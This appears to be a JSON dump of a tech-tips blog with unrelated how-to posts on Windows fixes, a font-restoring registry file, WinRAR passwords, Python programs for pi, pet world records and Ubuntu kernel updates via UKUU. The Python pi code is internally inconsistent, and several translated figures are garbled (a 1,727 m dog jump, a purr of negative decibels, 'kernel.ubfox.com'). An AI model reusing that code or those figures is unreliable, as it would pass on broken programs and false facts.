final solution is to play videos in full mode, then use screen capture software to record video. This is not a perfect solution, but it seems safe when you are afraid to install third party software.\nInstructions for rotating screen, video game using Bandicam software In addition, it is also possible to use the popular VLC video viewing software to watch and record videos, as long as the live video is obtained.\nSpecifically: How to record a screen with VLC Media Player?\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK%2BhlJq8br%2FTq5yapaNivK952Kisra2SmnqnrcKemainm2K8s3nAp7Bmr5WXwKrAxA%3D%3D\n","link":"/post/how-to-download-video-streams-on-youtube-facebook-or-any-website/","section":"post","tags":null,"title":"How to download video streams on YouTube, Facebook or any website?"},{"body":"Some recent Windows 10 users reflect that computers often receive Bad_Module_Info error messages when running certain applications or games on the computer. Some people have reported this error frequently when upgrading to Windows 10 Fall Creators Update.\nWhen this error appears, the application and the game will hang when running on the computer. Although this error does not affect the system, for those who install and play games like Counter-Strike: Global Offensive, Playerunknown's Battleground will encounter this error frequently. So playing games on Windows 10 will be more or less affected. So what is the cause of Bad_Module_Info error on Windows 10 and how to fix this error?\nHow to run games, old software on Windows 10 7 ways to do, customize in post will help your Windows 10 \"as fast as wind\" Instructions for filming and taking game screen shots in Windows 10 How to fix Bad_Module_Info error installing game This error is caused by the effect of optimizing the screen (Fullscreen Optimization) on Windows 10. This error will not affect the performance of the computer, and the system but makes applications and games abruptly turned off immediately upon start up.\n  Method 1: Disable Fullscreen Optimization As mentioned above this error is caused by the Fullscreen Optimization feature, so you just need to turn this feature off and you're done.\nStep 1:\nRight-click on the failed application or game icon on the screen and select Properties in the drop-down menu.\n  Step 2:\nA custom panel appears, click on the Compatibility tab, and check the Disable fullscreen optimizations option . Finally click Apply and OK to save the changes.\n  Method 2: Run the game in Compatibility Mode Compatibility Mode is a compatibility mode on Windows operating systems that enables us to run older operating system applications on newer operating system platforms.\nWe also click Properties in the problem application then select the Compatibility tab , and then check Run this program in compatibility mode for and then select the version of the Windows operating system you use. Here should choose Windows 8 or Windows 7.\nIf the error status is not improved, combine screen optimization and how to run the application, the game is compatible with the old operating system.\n  Method 3: Update the driver for the GPU For Nvidia GPU computers, disabling the screen optimization feature above cannot fix the Bad_Module_Info error on Windows 10.\nIf so, try updating the graphics card driver to the latest version by opening Device Manager , right-clicking on your current graphics card and selecting Update Driver .\n  We can refer to some ways to update graphics drivers, or system drivers, in the following articles.\n5 basic ways to update, update drivers for computers 2 simple ways to update VGA driver for computer monitor, laptop How to update the driver for NVIDIA video card Although the Bad_Module_Info error on Windows 10 does not affect the system, you will not start the application and the game. Try to fix it with one of these three ways. If you cannot fix the error, you must remove and reinstall the game.\nSee more:\nHow to install the Rules Of Survival game on PC 3 ways to install classic software and games on Windows 10 Instructions for installing WTFast to reduce ping when playing online games, when the cable is broken Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjrcOYpKicpaGyoLXNn6Zmp55ixKq6w6iurGVhZQ%3D%3D\n","link":"/post/how-to-fix-bad-module-info-on-windows-10/","section":"post","tags":null,"title":"How to fix Bad_Module_Info on Windows 10"},{"body":"When we install the Microsoft 365 version on our computer, an Office installation file is downloaded. And when we run the Office suite setup, we will click on that installation file to download online applications from the network to install. With this setup, you only need to download low-capacity files, instead of having to store large-sized installation files when the Office 365 suite has many applications such as Word, PowerPoint, Excel, Access and Publisher.\nHowever, the disadvantage is that your computer requires a network connection to be able to install the entire Office suite. If you find it quite complicated and want to download files and install Office whenever you want even without network, please refer to the following article of Network Administration.\nInstructions for installing Office 365 offline Step 1:\nWe visit the Office home page by following the link below and then log in to your personal Office 365 account. In this interface, click the Install Office button .\nhttps://www.office.com/   Step 2:\nNext we click Other install options to use the option when downloading the Office installation file.\n  Step 3:\nSwitch to the new interface, the user will click Download an offline installer and then select the language you want to download the Office installation file. Now we will download the Office installation file.\n  Step 4:\nAfter downloading, we can install Office at any time. Click Setup32.exe to install the 32-bit version of Office or Setup64.exe to install the 64-bit version. To activate Office you need an Internet connection.\n  See more:\nHow to install and use Microsoft Office on Linux How to cancel an Office 365 subscription ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKKboqTAsLLTZmpvbV2ks6e4yKec\n","link":"/post/how-to-install-microsoft-365-offline/","section":"post","tags":null,"title":"How to install Microsoft 365 offline"},{"body":"You accidentally 'scratched' the font on Windows 10 and want to return to the default font? In the tutorial below, TipsMake.com shares with readers how to restore the default font quickly and easily.\n  Method 1: Restore default font with Font Settings Step 1: You click on the icon Search (1)  or press the Windows + S . Next, enter the keyword control panel (2) =\u0026gt; click on the Control Panel app (3) in the first result.\n  Step 2: Click on View by (1) to switch to Large icon (2) . Next, select Fonts (3) .\n  Step 3: Click on Font settings .\n  Step 4: Click on Restore default font settings section .\n  Method 2: Restore default font via registry In case you miss and the font interface on Windows 10 is changed, you can apply this method to switch back to the default font. Please do the following:\nStep 1: Right-click on the desktop and select New (1) =\u0026gt; Text Document (2) .\n  Step 2: You rename the file to the font mac dinh.reg or any other name but must have the extension .reg.\n  After the message appears, click Yes .\n  Step 3: Right-click the .reg file (1) =\u0026gt; Edit (2) .\n  Step 4: Paste the following code into Notepad\n Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionFonts] \"Segoe UI (TrueType)\"=\"segoeui.ttf\" \"Segoe UI Black (TrueType)\"=\"seguibl.ttf\" \"Segoe UI Black Italic (TrueType)\"=\"seguibli.ttf\" \"Segoe UI Bold (TrueType)\"=\"segoeuib.ttf\" \"Segoe UI Bold Italic (TrueType)\"=\"segoeuiz.ttf\" \"Segoe UI Emoji (TrueType)\"=\"seguiemj.ttf\" \"Segoe UI Historic (TrueType)\"=\"seguihis.ttf\" \"Segoe UI Italic (TrueType)\"=\"segoeuii.ttf\" \"Segoe UI Light (TrueType)\"=\"segoeuil.ttf\" \"Segoe UI Light Italic (TrueType)\"=\"seguili.ttf\" \"Segoe UI Semibold (TrueType)\"=\"seguisb.ttf\" \"Segoe UI Semibold Italic (TrueType)\"=\"seguisbi.ttf\" \"Segoe UI Semilight (TrueType)\"=\"segoeuisl.ttf\" \"Segoe UI Semilight Italic (TrueType)\"=\"seguisli.ttf\" \"Segoe UI Symbol (TrueType)\"=\"seguisym.ttf\" \"Segoe MDL2 Assets (TrueType)\"=\"segmdl2.ttf\" \"Segoe Print (TrueType)\"=\"segoepr.ttf\" \"Segoe Print Bold (TrueType)\"=\"segoeprb.ttf\" \"Segoe Script (TrueType)\"=\"segoesc.ttf\" \"Segoe Script Bold (TrueType)\"=\"segoescb.ttf\" [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionFontSubstitutes] \"Segoe UI\"=- Then you save with the shortcut Ctrl + S and exit Notepad.\n  Step 5: Click on the .reg file (1) you just edited. If the following message appears, click Yes (2) .\n  Step 6: After the success message appears, it is completed. Please click OK and reboot to apply the default font.\n  After booting, open the application and right-click menu to check if the font has been converted to default is not successful.\n  Through the guide in the article, you can return to the default font quickly and conveniently. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGwvsRmq6GdXZmyp63Upatmnp%2BjwW67zWauoqaUpMS0eZBp\n","link":"/post/how-to-restore-the-default-font-on-windows-10/","section":"post","tags":null,"title":"How to restore the default font on Windows 10"},{"body":"During web browsing on Chrome or Firefox, Internet Explorer, . you can bookmark any web page you want to use and access it quickly, eliminating the need to search the site again in the next time.\n  1. How to search all bookmarked pages on Chrome? Adding any site to the bookmark list, especially sites with long URLs, or difficult-to-remember sites will be extremely helpful in case you want to visit the site regularly.\nOr in case if you want to save important web pages for access in the next visit.\n2. How to save Bookmark on Chrome browser? Whenever you find important sites that you want to bookmark again to access the next time, simply click on the star icon in the address bar of Google Chrome browser.\nAt this time on the screen appears a popup window, here you click Done to bookmark the site again.\n  3. Display bookmark folder on Google Chrome By default, Google Chrome will hide your favorite folders or bookmark folders, and all the web pages you bookmark will be automatically saved in the hidden bookmark folder.\nStep 1: On the Chrome browser window, click the 3 dash line icon in the top right corner of the screen to open the Chrome Browser Menu.\nStep 2: Next click on Bookmark , then click Show Bookmark Bar or press Ctrl + Shift + B to open a new window.\n  Step 3: Now you will find a folder called other Bookmarks.\n4. Create Bookmark on Google Chrome If you want to create a folder to customize and organize your favorite links there, follow the steps below:\nStep 1: On the Chrome browser window, click the 3 dash line icon in the top right corner of the screen.\nStep 2: Select Bookmarks , then hover over the Show Bookmarks bar option or press Ctrl + B.\nStep 3: Right-click the Other Bookmark option in the top right corner, next to the Chrome menu.\nStep 4: Click the Add folder option to create a new folder, then click OK . This folder is located under the Other Bookmark folder.\nAlso, if you 're cleaning up your browser, you accidentally delete important links or even delete the entire bookmark address, this is how you can restore deleted bookmarks.\nRefer to some of the following articles: Enable security Click to Play Plugins on all browsers To speed up Chrome browser, apply these tricks When the network speed is slow, turn this feature off to browse the Web on browsers faster Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRurculZJunn6C6or7KnptmqJGcsrR5zqdknKCipLqmecGrprCrlac%3D\n","link":"/post/how-to-view-all-bookmarked-pages-on-chrome-browser/","section":"post","tags":null,"title":"How to view all bookmarked pages on Chrome browser"},{"body":"Normally, to view Gif images on Windows, we have to install specialized software but if you do not want to install more because it is rarely used, we will guide you a simple way to use and use Web browser. Please consult.\nStep 1 : Right-click the Gif image you want to view and select Open with \u0026gt; Choose default program .\n  Step 2 : In the File Type Helper dialog box, check the Search through Windows option and click Search\n  Step 3 : Next, click More Options\n  Step 4 : Click Next Look for another app on this PC\n  Step 5 : Go to the popular web browser (here we choose Google Chrome )\n  And this is a Gif image viewed with Chrome browser\n  How to display animations when searching on Google How to post animated images, GIFs to Facebook? Guide to creating Gif images on Android Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRurc2dZKiolaN6qLXFZqCmmZeawG67zWauoqaUpMS0\n","link":"/post/how-to-view-and-open-gif-images-on-windows/","section":"post","tags":null,"title":"How to view and open Gif images on Windows?"},{"body":" π is an important number. It is used to do calculations about circles and spheres, as well as to measure angles using radians. π has some interesting properties, such as being irrational. This means that it has infinitely many digits that d...\nUsing Nilakantha Series Understand the Nilakantha series. The Nilakantha series starts with: π=3+42∗3∗4−44∗5∗6+46∗7∗8−48∗9∗10...{displaystyle pi =3+{frac {4}{2*3*4}}-{frac {4}{4*5*6}}+{frac {4}{6*7*8}}-{frac {4}{8*9*10}}...}  \nand continues according to this pattern. So the algorithm that you want to write is as follows: Begin with 3 as \"answer\", and a number n=2{displaystyle n=2}   Calculate 4n∗(n+1)∗(n+2){displaystyle {frac {4}{n*(n+1)*(n+2)}}}  . Add or subtract the result of that calculation from the answer. Repeat for a specified amount of times. Return and display the answer.  Create a new text file. You can use any IDE of your choice, or just a text editor. Give your file the extension .py so that your computer recognizes it as Python program file.\n Import the decimal module. If you use Python without it or similar libraries, precision will be limited to 17 digits. This module, however, will allow you to have arbitrary precision for the digits. It is a default library of Python, so you do not need to install it separately. from decimal import *   Set the digit precision for Decimals. How big you make it depends on how many digits of π you want to calculate. For example, to calculate 100 digits of π, add the line: getContext().prec = 100   Define a function for the Nilakantha series. For programming, you can imagine that series as a function that takes the amount of iterations, calculates the series with that amount of iterations, and returns the approximation of π. In Python, the function will have the following structure: def nilakantha(reps): # Calculations will be here return answer   Set the starting values of the variables. answer is initially 3. Make sure to make it a Decimal, because it is the number for which you want the high precision provided by the decimal library. Also set a variable op to 1. That variable will be used later to alternate between addition and subtraction. def nilakantha(reps): answer = Decimal(3.0) op = 1 # Calculations will be here return answer   Add a for-loop. The for-loop will set a variable n to 2 initially. Then it will do what written is inside the loop and increment the value of n by 2, and repeat this process until the upper limit — 2*reps+1 — is reached. def nilakantha(reps): answer = Decimal(3.0) op = 1 for n in range(2, 2*reps+1, 2): # Calculations will be here return answer   Calculate an element of the Nilakantha series and add it to the answer. It is enough to make one part of the fraction a Decimal, Python will convert the other parts accordingly. Program the formula, but also multiply it with op. In the first cycle, op is set to 1, so multiplying with it does nothing. But it will be set to other values later. for n in range(2, 2*reps+1, 2): result += 4/Decimal(n*(n+1)*(n+2)*op)   Multiply op with -1. If op was 1, that will make it -1. If it was -1, that will make it 1. Adding a negative number is like subtracting a positive number. This is how the program alternates between addition and subtraction. for n in range(2, 2*reps+1, 2): result += 4/Decimal(n*(n+1)*(n+2)*op) op *= -1   Write an interface for the function. You will most likely want a way to input how many iterations of the series should be used, and a way to display the approximation of π that you calculated. print(\"How many repetitions?\") repetitions = int(input()) print(nilakantha(repetitions))  If you haven't memorized many digits of π, you may also want to display the actual beginning of π to compare with your result. If that is the case, add the following line: print(\"3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679\")  (If you need more digits of π for your comparison, you can copy them from the internet.)  Check your code. Your entire code should now look like this (you can omit the last line): from decimal import * getcontext().prec = 100 def nilakantha(reps): result = Decimal(3.0) op = 1 n = 2 for n in range(2, 2*reps+1, 2): result += 4/Decimal(n*(n+1)*(n+2)*op) op *= -1 return result print(\"How many repetitions?\") repetitions = int(input()) print(nilakantha(repetitions)) print(\"3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679\")   Run your program. Click on the \"Run\" symbol of your IDE. In Python's IDLE, press F5. If you were working in a simple text editor, save your file, and run it with Python. Start with a small amount of iterations, like 100. This will let you see whether the program works. Be prepared to wait if you want many digits of π. For example, doing a million iterations of this series gives you 18 digits of π correctly, and it takes approximately 30 seconds.  Using Monte Carlo Method  Understand the Monte-Carlo method. Imagine a square with any length, and inside it a quarter of a circle with a radius that is same as that length. The program will generate random points inside the square, and then check whether they are also inside the circle. With a lot of points, dividing the amount of points inside the quarter-circle by the amount of points inside the square will be like dividing the area of the quarter-circle by the area of the square. So, because of:\nAquartercircleAsquare=14πr2r2=14π{displaystyle {frac {A_{quartercircle}}{A_{square}}}={frac {{frac {1}{4}}pi r^{2}}{r^{2}}}={frac {1}{4}}pi }  \nYou can calculate π with:\n4AquartercircleAsquare=π{displaystyle 4{frac {A_{quartercircle}}{A_{square}}}=pi }   The program can't just use the area directly because calculating the area of the quarter-circle would require π, which this program is supposed to determine. This is not an efficient method. You will have to wait quite long to get the same amount of digits of π as, for example, the Nilakantha series. However, it is a method that is easy to imagine and visualize (at the cost of even slower performance).  Import the necessary modules. You don't need to install them, they all already come installed with Python. random has the function for generating random numbers. math provides some mathematical functions, like the square root, which you will need for calculating the distance of a point. turtle will draw what the program is doing. This will make it slower, but it can help understand the method and be interesting to watch for some time. If you want to calculate π fast, you should choose a different method anyway. import random import math import turtle   Ask the user about how many points to calculate. This can be with the following code: print(\"Insert number of points:\") np = input() while not np.isdigit(): print(\"Insert number of points:\") np = input() np = int(np)   Make the turtle faster. By default, the turtle is not as fast as it could be. Change this by setting the turtle's speed to fastest: turtle.speed(\"fastest\")   Draw the situation. Draw the coordinate system in which the rectangle and the quarter-circle are, and draw the quarter-circle. First, define a variable that stores the length of the square and the radius of the quarter-circle in pixels (you only need one variable, because this is the same number). This will save you a lot of work if you decide to change the size of the quarter-circle and square. length = 300 # radius of circle and length of the square in pixels   Then, you need to actually draw the coordinate axes and the circle. This code is long, but all it does is move the turtle around to draw these things. #draw y axis turtle.pensize(2) turtle.forward(length + 40) turtle.left(135) turtle.forward(20) turtle.back(20) turtle.left(90) turtle.forward(20) turtle.penup() turtle.home() turtle.pendown() #draw x axis turtle.left(90) turtle.forward(length + 40) turtle.left(135) turtle.forward(20) turtle.back(20) turtle.left(90) turtle.forward(20) turtle.penup() turtle.goto(0,length) turtle.left(45) turtle.left(180) turtle.pendown() #draw quarter of circle turtle.pencolor(\"red\") turtle.circle(length,-90)    Make a loop for the calculations that you'll need to do for each dot. Before the loop, set the amount of dots inside the circle (the variable inside) to 0. inside = 0 for i in range(0,np):   Get a random position for the dot. You will need two random numbers — the x-position and the y-position of the dot. For easier calculations, we left the center of the quarter-circle at (0,0) in the previous steps. This means you need both numbers to be between 0 and the length of the square. Get such numbers with the random.uniform() function:  #get dot position x = random.randint(0,length) y = random.randint(0,length)   Check whether the dot is inside the quarter-circle. You need to calculate the distance between the dot and the centre, and check whether it is less or equal to the radius of the quarter-circle. To calculate the distance, you need to use Pythagoras' theorem. It is:\nd=(x2−x1)2+(y2−y1)2{displaystyle d={sqrt {(x_{2}-x_{1})^{2}+(y_{2}-y_{1})^{2}}}}  \nHowever, since the centre is located at (0,0), x1 and y1 are both 0 and can be ignored. The formula is simpler:\nd=x22+y22{displaystyle d={sqrt {{x_{2}}^{2}+{y_{2}}^{2}}}}  \nIn Python code (x2 and y2 are the coordinates that you got in the previous step):  #determine distance from center d = math.sqrt(x**2 + y**2)   If the point is inside the circle, increase the variable that counts the points inside the circle by 1. For better overview, set the colour of a dot inside the circle to red and of a dot outside the circle to blue.  if d length: inside += 1 turtle.pencolor(\"red\") else: turtle.pencolor(\"blue\")    Draw the dot. Use the turtle for this:  #draw dot turtle.penup() turtle.goto(x,y) turtle.pendown() turtle.dot()   Display the results after the loop finishes. Tell the user how many points were inside the circle, and which value of π this calculation gave: print(\"Inside of quarter-circle:\") print(inside) print(\"Total amount of points:\") print(np) print(\"Pi is approximately:\") print((inside / np) * 4.0)   Exit only when the user clicks on the screen. This is done with the exitonclick() function of the turtle module. Otherwise, the window with the drawing would close when the calculations finish, and the user wouldn't have time to look at it. Add the line: turtle.exitonclick()   Check your code. Your entire code now should be: import random import math import turtle print(\"Insert number of points:\") np = input() while not np.isdigit(): print(\"Insert number of points:\") np = input() np = int(np) turtle.speed(\"fastest\") length = 300 # radius of circle and length of the square in pixels #draw y axis turtle.pensize(2) turtle.forward(length + 40) turtle.left(135) turtle.forward(20) turtle.back(20) turtle.left(90) turtle.forward(20) turtle.penup() turtle.home() turtle.pendown() #draw x axis turtle.left(90) turtle.forward(length + 40) turtle.left(135) turtle.forward(20) turtle.back(20) turtle.left(90) turtle.forward(20) turtle.penup() turtle.goto(0,length) turtle.left(45) turtle.left(180) turtle.pendown() #draw quarter of circle turtle.pencolor(\"red\") turtle.circle(length,-90) inside = 0 for i in range(0,np): #get dot position x = random.uniform(0,length) y = random.uniform(0,length) #determine distance from center d = math.sqrt(x**2 + y**2) if d length: inside += 1 turtle.pencolor(\"red\") else: turtle.pencolor(\"blue\") #draw dot turtle.penup() turtle.goto(x,y) turtle.pendown() turtle.dot() print(\"Inside of quarter-circle:\") print(inside) print(\"Total amount of points:\") print(np) print(\"Pi is approximately:\") print((inside / np) * 4.0) turtle.exitonclick()   Run your program. Click on the \"Run\" symbol of your IDE. In Python's IDLE, press F5. If you were working in a simple text editor, save your file, and run it with Python. Start with a small amount of dots, like 100. This will let you see whether the program works. Be prepared to wait very long. Even calculating 1000 points takes approx. 1½ minutes, and gives a few (1–2) digits of π. Calculating 10000 points takes 15 minutes, and gives 2–3 digits of π.   David Pac Update 02 June 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecBmp7KsmKS7brzRqJ6rmZ1iwbB5wpqjnK2clsGmec%2Bi\n","link":"/post/how-to-write-a-python-program-to-calculate-pi/","section":"post","tags":null,"title":"How to Write a Python Program to Calculate Pi"},{"body":" How to extract the lyrics from the music to get the beat Now there are countless recording software on professional computers, including paid software and free software. However, it is not well known to select the best and easiest to use recording software, because only a few meet these criteria. Here, Network Administrator will share with you 6 recording software on the computer that many people appreciate and choose to use.\nKaraoke software on quality computers Top 10 best audio and audio converter software available today 4 software to rotate video in reverse, tilt 90, 180 degrees best 1. Record on your computer using Audacity software   \nAudacity is a free computer recording software that is used to record voices or sounds from multiple sources on a computer. And yet, it also has the ability to edit music, mix sounds and help remove unwanted noise during your recording. Audacity is still very developed and used by many people because of their useful features. So, if there is a need for recording, this is definitely a software that cannot be missed.\nDownload Audacity for Windows 2. Record on your computer using Free Sound Recorder   \nJust like the Sound Recorder software built into Windows, but Free Sound Recorder has improved features and offers more choices for users. Specifically, the free recording software helps you record any sound emitted from your computer's sound card and store them as MP3, WMA or WAV files.\nThis is considered to be one of the perfect recording software for high quality recording, automatically eliminating noise while recording. In addition, Free Sound Recorder also supports some useful shortcuts.\nDownload Free Sound Recorder for Windows 3. Audio Recorder Pro   \nIf you need a good, reliable computer recording software to use for your daily work, Audio Recorder Pro is the perfect choice. This is a program that deserves the name used for audio recording, you will get voice recordings, music or any kind of sound that is emitted from your computer and supports many audio formats. like MP3, WAV or OGG.\nBesides, Audio Recorder Pro also allows you to set the recording start time, the size of the recording file, etc. so you can easily manage and use the recording file later.\nDownload Audio Recorder Pro for Windows 4. Sound Archive PRO   \nSound Archive PRO recording software provides users with intelligent audio tools when it is possible to automatically stop recording with no sound recordings. Similar to the recording software just introduced above, Sound Archive PRO also features a maximum reduction of noise when recording to achieve the best sound quality.\nDownload Sound Archive PRO for Windows 5. Adobe Audition   \nAdobe Audition is audio recording software, professional audio processing has become so famous, it is even considered as a witch in audio editing. Using Adobe Audition, you can not only easily record but also customize and edit the voice or a certain song.\nOverall, this software is easy to use, even those who have just stepped into this field will see it. However, if you have difficulty in any operation, you can review in the tutorial How to record on the computer with Adobe Audition that we introduced earlier.\nDownload Adobe Audition for Windows 6. EOP Audio Recorder   \nEOP Audio Recorder is the last name to top the recording software for computers, this tool can record sound from the system and the sound from the microphone. With a simple interface easy to use, EOP Audio Recorder helps you to record files and export to MP3 format files.\nDownload EOP Audio Recorder for Windows The above are the 6 best recording software on the computer today, there are many other software supporting recording but these are the names that you should give top priority. In case you do not need advanced functions such as editing the audio files you just created, you can choose to record on the computer without installing software to support heavy machines.\nWish you have a good choice!\nSee more:\nEffective call recording applications on smartphones Simple way to record calls on iPhone Call recording Android with Call Recorder - ACR ncG1vNJzZmismaXArq3KnmWcp51kv6avzquboqaXYsCwstOwmKudXaS7bsDHnmScp52lwrWx0Q%3D%3D\n","link":"/post/recording-software-on-the-computer/","section":"post","tags":null,"title":"Recording software on the computer"},{"body":"Privacy of personal data is a very necessary task for each of us. To do that, the first thing you need to do is set a password to prevent unintended access. Today Thuthuatphanmem.vn will guide you how to set a password for one or more files on your computer using Winrar.\nWhat is Winrar? Winrar is the most popular file compression and decompression software today. Winrar can create and view archives in RAR and ZIP file formats. This software is preferred by high performance, easy to use. It supports almost all basic file formats, has the ability to batch compress files, saves time for users, can detect and correct file errors.\nIn addition to some of the features I just mentioned above, Winrar can help you protect personal files by setting passwords for them.\nInstall Winrar Step 1: Go to https://www.win-rar.com/predownload.html to download the latest version of Winrar.\n  Step 2: Perform the installation of Winrar\n  Check the files you want Winrar to support and click OK\n  Set a password for your file using Winrar (Windows) Step 1: Select the file or multiple files (hold Ctrl and select the file) you want to compress. Right click and select 'Add to archive .'\n  Step 2: Name the zip file, then select 'Set password .'\n  Step 3: Set your password to protect the compressed file, check the 'Encrypt file names' box to encrypt the file name (prevent strangers from seeing the internal file name until they enter the correct password), select OK to finish setup.\n  Click OK again and your compressed file will be created with the password.\n  Step 4: Delete the original external file, check the compressed file again by entering the password to access.\n  To extract all the files inside out, simply select the Wizard tool.\n  Click 'Browse .' to select the extracted location, then click 'Finish'.\n  Your files will appear at this location. However, at this time they will not be protected by Winrar password anymore.\n  More convenient, at the main interface of the rar file, you can open each individual file inside directly by double clicking without going through the decompression step.\n  Each time you change the content inside you can also directly save into it without having to do anything more complicated.\nFor the folder you do the same: right-click on the folder \u0026gt;\u0026gt; Add to archive .\n  The directory is displayed after you open the archive:\n  Open the folder directly in the compressed file and use the personal file as usual:\n  Conclusion Above Thuthuatphanmem.vn has instructed you the simplest way to keep your personal files confidential. Compressing multiple files into one and setting a password will help your information not easily fall into the wrong hands.\nThanks for following!\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjJpkqZmjqHqxrdKsrqiqlGKzsL6MmqWyZZaeuaZ51Kygp59drLavvsCr\n","link":"/post/set-a-pass-password-for-any-file-using-winrar/","section":"post","tags":null,"title":"Set a pass (password) for any file using WinRAR"},{"body":"The Guinness Book of World Records once enrolled dogs and cats with physical traits or special abilities due to hard training like dogs with the longest tongue, the longest cat, the tallest dog. , 13 collective jumpers .\nDecoding the world's most crowded man, 1,171 children in 32 years Where is the shortest river in the world, how many meters long? 10 exotic tree species hold the world record   According to the Guinness Book of Records, the title of the dog with the longest tongue in the world belongs to Mochi, 18.54cm.A dog of St. Bernard, living with its owner in South Dakota, USA.With an oversized long tongue, Mochi often drooled, breathing hard and had some difficulties picking up objects on the floor by mouth.(Photo: MNN.)\n  The record of the world's longest cat now belongs to Ludo, a cat living in Wakefield, England, with a length of 1.18 m.But it is likely that this record will be broken by Omar, the American long-haired cat living in Melbourne, Australia with a length of about 1.2 m and weighing 13.6 kg.(Photo: MNN.)\n  In 2012, the Guinness Book of Records recognized Zeus, a breed of Great Dane, the tallest dog in the world with a height of 1.1 m and weighs nearly 75 kg.When standing with hind legs, Zeus has a height of 2.2m.Unfortunately, Zeus died in 2014. (Photo: AP.)\n  The title of the world's smallest dog belongs to Milly, belonging to the Chihuahua breed, with a height of 9.6cm despite being nearly 2 years old.Milly belongs to the Chihuahua breed.(Photo: Laura Moss.)\n  In October 2006, Cinderella May competed in the contest for Purina Incredible Dog Challenge National Finals, surpassing 1,727m and became the world's tallest jumping dog.Cinderella May belongs to Greyhound hunting dog breed.(Photo: MNN.)\n  With a lifespan of 29 years and 5 months, Bluey is the longest living dog in the world.Les Hall of Victoria, an Australian rancher, started raising Bluey from 1910 until it died on November 14, 1939.Photos: Wikimedia.\n  The Merlin black cat can emit a grunt in the throat with a negative intensity of 67.8 decibels (dB), as big as a dishwasher or air conditioner.Guinness world record books have recognized this special ability of Merlin.(Photo: YouTube.)\n  The title of the world's fastest skateboarding dog belongs to Jumpy, a British Bulldog breed.In 2013, it took only 19.65 seconds to conquer the 100m distance in a parking lot.(Photo: Neotuxedo LEE.)\n  13 dogs of different height and weight were trained by Uchida Geinousha, a staff member at Super Wan Wan Circus in Japan, at the same time to set a Guinness World Record.(Photo: Wikimedia.)\n  Rose, a Labrador-type hound with a talent for catching a superior flying disc.Rose can catch and hold up to 7 separate flying saucers without missing one.(Photo: MNN.)\nncG1vNJzZmismaXArq3KnmWcp51kwLa%2Bz6ugrJ1drLa1tIygrKKmnprAtHnRnpqoqpSoeqq6jK2fnmWTlsFurc2dZJ2nl2LEsL7LnQ%3D%3D\n","link":"/post/surprise-with-guinness-records-in-the-cat-and-dog-world/","section":"post","tags":null,"title":"Surprise with Guinness records in the cat and dog world"},{"body":"Linux kernel on Ubuntu is the core of this operating system. It is the intermediate interface between computer hardware and software applications. As technology develops, new patches are introduced to enhance the functionality, security, and speed of the operating system. Therefore, you should constantly check for kernel updates and upgrade to the appropriate updates.\nIn this article, TipsMake.com will describe how users can update the kernel to a newer version through the UKUU utility, including installing software on the system, then downloading and updating the kernel. UKUU (or Ubuntu Kernel Update Utility) is used to install the main Linux kernels on Ubuntu-based distributions. The kernel packages are downloaded and installed from kernel.ubfox.com.\nThe commands and processes mentioned in this article run on Ubuntu 18.04 LTS systems. Follow these steps to update Linux kernel on Ubuntu.\nHow to upgrade Linux kernel without updating Ubuntu Step 1: Confirm the current kernel version Step 2: Add TeeJee PPA to install UKUU from there Step 3: Update the local repository index Step 4: Install UKUU via apt-get Step 5: Launch UKUU Step 6: Install and update to a newer kernel version Step 7: Reboot the system Step 8: Verify the current kernel version Step 1: Confirm the current kernel version Before switching to the new version, first determine which kernel version is running on Ubuntu. Open command line tool on Ubuntu, Terminal, through searching Application Launcher on the system or shortcut Ctrl + Alt + T Then enter the following command:\n$ uname -r  The command output will indicate your current kernel version.\n  Now, you know your kernel version and can decide which version you want to update.\nStep 2: Add TeeJee PPA to install UKUU from there UKUU utility is not available on official Ubuntu repositories but TeeJee PPA is where you will find the latest version of UKUU. In the Terminal application, enter the following sudo command to add TeeJee PPA to the system:\n$ sudo add-apt-repository ppa:teejee2008/ppa    Enter the password for sudo, then the PPA repository will be added to the system.\nTip : Instead of entering the command, you can copy the command from here and paste it into Terminal using Ctrl + Shift + V or by using the Paste option from the right-click menu.\nStep 3: Update the local repository index The next step is to update the system repository index via the following command:\n$ sudo apt-get update  This helps you install the latest version of a software from the Internet.\n  Step 4: Install UKUU via apt-get Now that you have finished adding the PPA, use the following command sudo apt-get to install UKUU into the system:\n$ sudo apt-get install ukuu    The system can ask you the sudo password and also give you the option Y / N to continue the installation. Enter Y and then press Enter . UKUU will then be installed on the system. However, this process may take a while depending on your Internet speed.\nYou can verify which version is installed on your system by running the following command:\n$ ukuu --version    Step 5: Launch UKUU Now, launch UKUU from Ubuntu's Application Launcher bar as follows or access directly from the application list:\n  You can also launch it by entering the following command in Terminal:\n$ ukuu-gtk  When you launch the software, UKUU will start creating a list of all available kernels from the Internet.\n  Here's how the list is displayed:\n  The latest version available, at the time of writing, is Linux 5.0.10. It's best to research a bit about what the kernel you want to upgrade will provide.\nStep 6: Install and update to a newer kernel version Select the kernel version you want to upgrade from the list and then click the Install button . The following authentication dialog box will appear for you to provide authentication details.\n  Please note that only authorized users can add / delete and configure software on Ubuntu. Enter the password and click the Authenticate button . The following window opens. You will see the UKUU download and install the selected kernel on your system.\n  This process may take a while depending on your Internet speed. When the download and installation process is complete, you will be able to see the Close button at the bottom of the window.\n  Click the Close button . After that, you can see the following dialog box is displayed:\n  Please read this information carefully because you may encounter one of the issues mentioned. Click OK after reading, if you encounter any such problems.\nStep 7: Reboot the system Let the new kernel work, restart the system.\nImportant note : If you have trouble starting or after logging in, you can easily boot from an older kernel. Reboot the system and press Shift when booting, a list will appear. From there you can choose the older kernel version to boot.\nStep 8: Verify the current kernel version Now that you have booted into the newer kernel, run the following command in the Terminal application to verify that the newer version is actually running:\n$ uname -r    Now you are successfully running the 